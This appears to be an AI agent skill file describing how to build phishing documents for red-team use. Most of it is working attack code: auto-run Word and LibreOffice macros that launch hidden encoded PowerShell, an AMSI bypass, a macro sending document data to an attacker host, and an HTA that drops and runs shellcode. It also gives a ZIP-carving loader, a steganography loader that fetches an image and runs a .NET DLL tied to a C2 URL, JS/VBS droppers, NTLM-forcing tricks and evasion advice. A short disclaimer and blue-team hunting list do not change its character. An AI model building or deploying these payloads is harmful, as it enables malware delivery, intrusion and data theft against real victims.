Hacktricks-skills phishing-documents
Create and analyze phishing documents for authorized security testing. Use this skill whenever the user needs to create malicious Office documents (Word, Excel, PowerPoint), HTA files, LNK loaders, or steganography-based payloads for penetration testing, red teaming, or security research. Trigger on requests about phishing campaigns, document-based attacks, macro payloads, HTA execution, NTLM authentication forcing, or any file-based social engineering techniques.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/generic-methodologies-and-resources/phishing-methodology/phishing-documents/SKILL.MDPhishing Documents & Files
A comprehensive guide for creating and analyzing phishing documents in authorized security testing engagements.
⚠️ Authorization Required
Only use these techniques in authorized security testing engagements. Ensure you have written permission before creating or deploying any of these payloads.
Quick Reference
| Technique | File Type | Best For |
|---|---|---|
| Office Macros | , , | Corporate environments with Office |
| LibreOffice Macros | | Linux/Mac environments |
| HTA Files | | Windows-only targets |
| LNK Loaders | + ZIP | Fileless execution chains |
| Steganography | Images with markers | Evasion-focused campaigns |
| JS/VBS Droppers | , | Initial access vectors |
Office Documents
Extension Selection Strategy
| Extension | Pros | Cons |
|---|---|---|
| Legacy format, less suspicious, macros work | Older format |
| Modern, clear macro support | Blocked by many gateways, shows warning icon |
| Most trusted | No macros (unless remote template) |
(renamed from ) | Bypasses some filters | May not work on all systems |
Recommendation: Use
.doc for best balance of compatibility and evasion.
Checking Executable Extensions
# Windows: Check which extensions Office will execute assoc | findstr /i "word excel powerp" # Linux: Check file associations file -i document.doc
Macro Autoload Functions
| Function | Detection Risk | Notes |
|---|---|---|
| High | Most common, heavily monitored |
| High | Common alternative |
(no parens) | Medium | Less common variant |
| Custom event handlers | Low | More evasive |
Macro Payload Patterns
Basic Shell Execution
Sub AutoOpen() Dim Shell As Object Set Shell = CreateObject("wscript.shell") Shell.Run "calc.exe" End Sub
Encoded PowerShell (Evasion)
Sub AutoOpen() CreateObject("WScript.Shell").Exec ( "powershell.exe -nop -Windowstyle hidden -ep bypass -enc " & _ "BASE64_PAYLOAD_HERE" ) End Sub
AMSI Bypass Pattern
Sub AutoOpen() Dim code As String code = "[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)" CreateObject("WScript.Shell").Exec "powershell.exe -nop -w hidden -ep bypass -enc " & code End Sub
Metadata Removal
Always remove metadata before deployment:
- File → Info → Inspect Document
- Click Inspect
- Click Remove All next to Document Properties and Personal Information
- Save as
(Word 97-2003 format).doc
External Image Load (Data Exfiltration)
Sub Exfiltrate() Dim url As String url = "http://<attacker-ip>/collect?data=" & oWB.BuiltinDocumentProperties("Author") CreateObject("WinHttp.WinHttpRequest.5.1").Open "GET", url, False CreateObject("WinHttp.WinHttpRequest.5.1").Send End Sub
LibreOffice ODT Macros
Basic Reverse Shell Macro
Sub Shell Shell("cmd /c powershell -enc BASE64_PAYLOAD") End Sub
Important: Use doubled quotes (
"") to escape literal quotes in LibreOffice Basic.
Setup Steps
- Create ODT document in LibreOffice Writer
- Tools → Customize → Events
- Select Open Document event
- Assign your macro
- Save as
.odt
Email Delivery
# Using swaks - note the @ symbol for file attachment swaks --to victim@example.com --attach @payload.odt --from sender@example.com
HTA Files
Basic HTA Structure
<html> <head> <title>Document</title> </head> <body> <h2>Document Content</h2> <script language="VBScript"> Function Execute() Set shell = CreateObject("wscript.Shell") shell.run "calc.exe", 0, False End Function Execute </script> </body> </html>
Shellcode Execution HTA
<script language="VBScript"> Function ExecuteShellcode() var_shellcode = "HEX_SHELLCODE_HERE" Dim var_obj, var_stream, var_tempdir, var_tempexe, var_basedir Set var_obj = CreateObject("Scripting.FileSystemObject") Set var_tempdir = var_obj.GetSpecialFolder(2) var_basedir = var_tempdir & "\" & var_obj.GetTempName() var_obj.CreateFolder(var_basedir) var_tempexe = var_basedir & "\" & "payload.exe" Set var_stream = var_obj.CreateTextFile(var_tempexe, true, false) For i = 1 to Len(var_shellcode) Step 2 var_stream.Write Chr(CLng("&H" & Mid(var_shellcode, i, 2))) Next var_stream.Close Dim var_shell Set var_shell = CreateObject("Wscript.Shell") var_shell.run var_tempexe, 0, true var_obj.DeleteFile var_tempexe var_obj.DeleteFolder var_basedir End Function ExecuteShellcode self.close </script>
Note: HTA execution requires
mshta.exe which depends on Internet Explorer. Check target systems first.
LNK Loaders + ZIP-Embedded Payloads
Architecture
ZIP Archive ├── decoy.pdf (legitimate-looking) ├── decoy.docx (legitimate-looking) ├── payload.lnk (malicious) └── [RAW DATA AFTER ZIP END] └── PowerShell payload (carved by LNK)
PowerShell Carving Script
$marker = [Text.Encoding]::ASCII.GetBytes('xFIQCV') $paths = @( "$env:USERPROFILE\Desktop", "$env:USERPROFILE\Downloads", "$env:USERPROFILE\Documents", "$env:TEMP", "$env:ProgramData", (Get-Location).Path ) $zip = Get-ChildItem -Path $paths -Filter *.zip -ErrorAction SilentlyContinue -Recurse | Sort-Object LastWriteTime -Descending | Select-Object -First 1 if(-not $zip){ return } $bytes = [IO.File]::ReadAllBytes($zip.FullName) $idx = [System.MemoryExtensions]::IndexOf($bytes, $marker) if($idx -lt 0){ return } $stage = $bytes[($idx + $marker.Length) .. ($bytes.Length-1)] $code = [Text.Encoding]::UTF8.GetString($stage) -replace '#','' # AMSI bypass [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils'). GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) Invoke-Expression $code
LNK Creation
# Using lnk3gen (from linenum) lnk3gen -t "./decoy.docx" -i "./payload.ps1" -w "./" -o "payload.lnk"
Steganography-Delimited Payloads
Workflow
- Stage 1: JS/VBS dropper decodes Base64 → launches PowerShell
- Stage 2: PowerShell downloads image, carves marker-delimited Base64
- Stage 3: Loads .NET DLL in-memory, invokes entry method
PowerShell Stego Extractor
param( [string]$Url = 'https://example.com/payload.gif', [string]$StartM = '<<sudo_png>>', [string]$EndM = '<<sudo_odt>>', [string]$EntryType = 'Loader', [string]$EntryMeth = 'VAI', [string]$C2 = 'https://c2.example/payload' ) $img = (New-Object Net.WebClient).DownloadString($Url) $start = $img.IndexOf($StartM) $end = $img.IndexOf($EndM) if($start -lt 0 -or $end -lt 0 -or $end -le $start){ throw 'markers not found' } $b64 = $img.Substring($start + $StartM.Length, $end - ($start + $StartM.Length)) $bytes = [Convert]::FromBase64String($b64) $asm = [Reflection.Assembly]::Load($bytes) $type = $asm.GetType($EntryType) $method = $type.GetMethod($EntryMeth, [Reflection.BindingFlags] 'Public,Static,NonPublic') $null = $method.Invoke($null, @($C2, $env:PROCESSOR_ARCHITECTURE))
Creating Stego Image
# scripts/create_stego_image.py import base64 import sys def create_stego_image(dll_path, output_path, start_marker='<<sudo_png>>', end_marker='<<sudo_odt>>'): with open(dll_path, 'rb') as f: dll_bytes = f.read() b64_payload = base64.b64encode(dll_bytes).decode('utf-8') stego_content = f"{start_marker}{b64_payload}{end_marker}" with open(output_path, 'w') as f: f.write(stego_content) print(f"Created stego image: {output_path}")
JS/VBS Droppers
JavaScript Dropper
var WshShell = new ActiveXObject("WScript.Shell"); var encoded = "BASE64_POWERSHELL_PAYLOAD"; var decoded = decodeBase64(encoded); WshShell.Run("powershell.exe -nop -w hidden -ep bypass -enc " + encoded, 0, false); function decodeBase64(str) { return decodeURIComponent(escape(window.atob(str))); }
VBScript Dropper
Set objShell = CreateObject("WScript.Shell") encoded = "BASE64_POWERSHELL_PAYLOAD" objShell.Run "powershell.exe -nop -w hidden -ep bypass -enc " & encoded, 0, False
NTLM Authentication Forcing
Methods
| Method | Description | Risk |
|---|---|---|
| Invisible images | Embed images from SMB share | Low |
| LNK files | Point to UNC path | Medium |
| HTML email | Link to SMB share | Low |
| Document properties | Reference remote template | Medium |
Example: Remote Template
- File → Options → Add-ins
- Manage: Templates → Go
- Add UNC path:
\\attacker\share\template.dotm
Detection & Evasion
IOCs to Avoid
- Common macro function names (
,AutoOpen
)Document_Open - Obvious PowerShell flags (
,-enc
,-nop
)-w hidden - Known marker strings (use custom markers)
- Standard AMSI bypass patterns
Evasion Techniques
- String obfuscation: Use hex encoding, Unicode, or custom encoding
- Marker variation: Use unique, campaign-specific markers
- Timing delays: Add random delays before execution
- Environment checks: Verify target before executing
- Process injection: Use process hollowing for final stage
Hunting Cues (For Blue Team)
- ZIP files with ASCII markers appended after archive data
files enumerating user folders.lnk- PowerShell accessing images and decoding Base64
spawningwscript.exe
from temp pathspowershell.exe- AMSI tampering via
amsiInitFailed
References
- MITRE ATT&CK T1027.003 - Steganography
- MITRE ATT&CK T1055.012 - Process Hollowing
- MITRE ATT&CK T1127.001 - MSBuild Proxy Execution
- Check Point - ZipLine Campaign
- Unit 42 - PhantomVAI Loader
Helper Scripts
Use the bundled scripts for common tasks:
- Generate macro-enabled Word documentsscripts/create_macro_doc.py
- Create HTA files with embedded payloadsscripts/create_hta.py
- Embed payloads in imagesscripts/create_stego_image.py
- Create LNK loader with ZIP-embedded payloadscripts/create_lnk_zip.py
- Encode payloads for various formatsscripts/encode_payload.py